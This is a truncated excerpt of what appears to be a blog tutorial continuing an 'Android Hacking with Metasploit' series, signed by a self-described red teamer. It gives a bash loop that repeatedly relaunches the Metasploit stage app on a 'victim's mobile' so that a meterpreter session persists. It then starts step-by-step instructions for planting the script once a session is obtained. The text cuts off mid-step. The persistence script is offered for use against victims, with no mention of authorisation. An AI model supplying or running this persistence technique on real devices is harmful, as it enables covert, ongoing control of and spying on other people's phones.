This is a continuation article of the Android Hacking with Metasploit. After getting the session from the victim we next need a persistent session i.e constant session which will maintain the session even if you lost the previous sessions. For this we need a bash script that is to be executed on the victim's mobile. I have used this bash script for the persistent session. You can use different scripts as well. --------------------------------------------------------------------------------------------------------------- #!/bin/bash while true do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity sleep 20 done --------------------------------------------------------------------------------------------------------------- Save the script as <anything>.sh Next our aim is to get the session back Step:1 After getting the meterpreter we need to do cd / Step:2 Th...
RedTeamer || Certified Ethical Hacker || Cyber Crime Intervention Officer ||